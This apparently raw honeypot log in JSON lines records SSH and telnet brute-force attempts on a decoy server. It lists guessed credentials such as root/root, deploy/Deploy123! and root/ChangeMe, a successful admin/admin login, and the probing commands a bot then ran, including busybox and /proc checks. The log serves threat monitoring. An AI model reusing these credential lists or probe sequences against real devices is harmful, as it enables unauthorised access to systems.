{"eventid":"cowrie.session.closed","duration":1.5013248920440674,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:50.656922Z","src_ip":"178.105.114.62","session":"bc940beac5e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.105.114.62","src_port":53958,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f89e226551","protocol":"telnet","message":"New connection: 178.105.114.62:53958 (10.17.0.5:23) [session: e5f89e226551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:50.746554Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:51.247339Z","src_ip":"178.105.114.62","session":"e5f89e226551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5007987022399902,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.247206Z","src_ip":"178.105.114.62","session":"e5f89e226551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.105.114.62","src_port":53964,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa65c6eb3ae7","protocol":"telnet","message":"New connection: 178.105.114.62:53964 (10.17.0.5:23) [session: aa65c6eb3ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.335815Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"b332bdce7f85","protocol":"ssh","message":"New connection: 80.66.85.226:55518 (10.17.0.5:22) [session: b332bdce7f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.788119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.794095Z","src_ip":"80.66.85.226","session":"b332bdce7f85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.836403Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.893781Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:52.902882Z","src_ip":"80.66.85.226","session":"b332bdce7f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sweetheart","message":"login attempt [root/sweetheart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:53.167465Z","src_ip":"80.66.85.226","session":"b332bdce7f85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:53.836439Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:54.258276Z","src_ip":"80.66.85.226","session":"b332bdce7f85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:54.336252Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:54.938569Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:55.537404Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:55.541299Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:56.138347Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.815800428390503,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:56.151533Z","src_ip":"178.105.114.62","session":"aa65c6eb3ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33140,"dst_ip":"159.203.135.109","dst_port":23,"session":"636616b8c064","protocol":"telnet","message":"New connection: 69.4.83.194:33140 (159.203.135.109:23) [session: 636616b8c064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:06.244497Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33252,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cd2633ed99","protocol":"telnet","message":"New connection: 79.139.59.21:33252 (159.203.135.109:23) [session: 66cd2633ed99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:08.649194Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":57880,"dst_ip":"10.17.0.5","dst_port":23,"session":"942a4a40fc8b","protocol":"telnet","message":"New connection: 178.128.93.180:57880 (10.17.0.5:23) [session: 942a4a40fc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:21.298974Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":51924,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9cc97bdc0e8","protocol":"ssh","message":"New connection: 37.233.85.71:51924 (10.17.0.5:22) [session: a9cc97bdc0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:28.040744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:28.045451Z","src_ip":"37.233.85.71","session":"a9cc97bdc0e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:28.146057Z","src_ip":"37.233.85.71","session":"a9cc97bdc0e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:28.447503Z","src_ip":"37.233.85.71","session":"a9cc97bdc0e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:29.551143Z","src_ip":"37.233.85.71","session":"a9cc97bdc0e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":53142,"dst_ip":"159.203.135.109","dst_port":22,"session":"b15c6f05fa59","protocol":"ssh","message":"New connection: 182.52.90.106:53142 (159.203.135.109:22) [session: b15c6f05fa59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:33.431109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:33.441057Z","src_ip":"182.52.90.106","session":"b15c6f05fa59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:33.705771Z","src_ip":"182.52.90.106","session":"b15c6f05fa59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Password","message":"login attempt [root/123Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:34.811942Z","src_ip":"182.52.90.106","session":"b15c6f05fa59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:36.081531Z","src_ip":"182.52.90.106","session":"b15c6f05fa59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.116289138793945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:40.360708Z","src_ip":"69.4.83.194","session":"636616b8c064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08775496482849,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:46.736813Z","src_ip":"79.139.59.21","session":"66cd2633ed99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":34758,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bfe0b6f4497","protocol":"ssh","message":"New connection: 103.237.144.204:34758 (159.203.135.109:22) [session: 7bfe0b6f4497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:48.319527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:48.323319Z","src_ip":"103.237.144.204","session":"7bfe0b6f4497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:48.574894Z","src_ip":"103.237.144.204","session":"7bfe0b6f4497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Deploy123!","message":"login attempt [deploy/Deploy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:49.608424Z","src_ip":"103.237.144.204","session":"7bfe0b6f4497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:27:50.862821Z","src_ip":"103.237.144.204","session":"7bfe0b6f4497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54848,"dst_ip":"159.203.135.109","dst_port":23,"session":"25ec875b6edc","protocol":"telnet","message":"New connection: 69.4.83.194:54848 (159.203.135.109:23) [session: 25ec875b6edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:01.791893Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":41014,"dst_ip":"159.203.135.109","dst_port":22,"session":"812841383041","protocol":"ssh","message":"New connection: 35.225.56.202:41014 (159.203.135.109:22) [session: 812841383041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:12.657558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:12.662732Z","src_ip":"35.225.56.202","session":"812841383041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:12.698881Z","src_ip":"35.225.56.202","session":"812841383041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe","message":"login attempt [root/ChangeMe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:12.871697Z","src_ip":"35.225.56.202","session":"812841383041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:13.909897Z","src_ip":"35.225.56.202","session":"812841383041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.91851878166199,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:17.217354Z","src_ip":"178.128.93.180","session":"942a4a40fc8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff85e7c928f1","protocol":"telnet","message":"New connection: 178.128.93.180:38534 (10.17.0.5:23) [session: ff85e7c928f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:20.512119Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37096,"dst_ip":"159.203.135.109","dst_port":23,"session":"1177bd4193fe","protocol":"telnet","message":"New connection: 69.4.83.194:37096 (159.203.135.109:23) [session: 1177bd4193fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:28.728324Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38446,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c5b3523908","protocol":"telnet","message":"New connection: 69.4.83.194:38446 (159.203.135.109:23) [session: 46c5b3523908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:32.013049Z"}
{"eventid":"cowrie.session.closed","duration":31.745346546173096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:33.537094Z","src_ip":"69.4.83.194","session":"25ec875b6edc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":48106,"dst_ip":"10.17.0.5","dst_port":23,"session":"571f0576bbf2","protocol":"telnet","message":"New connection: 178.128.93.180:48106 (10.17.0.5:23) [session: 571f0576bbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:35.563143Z"}
{"eventid":"cowrie.session.closed","duration":30.507041215896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:28:51.019062Z","src_ip":"178.128.93.180","session":"ff85e7c928f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.39129304885864,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:05.119449Z","src_ip":"69.4.83.194","session":"1177bd4193fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81316685676575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:06.826113Z","src_ip":"69.4.83.194","session":"46c5b3523908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":57436,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f39d945d3f","protocol":"ssh","message":"New connection: 182.52.90.106:57436 (159.203.135.109:22) [session: 08f39d945d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:12.551019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:29:12.555913Z","src_ip":"182.52.90.106","session":"08f39d945d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-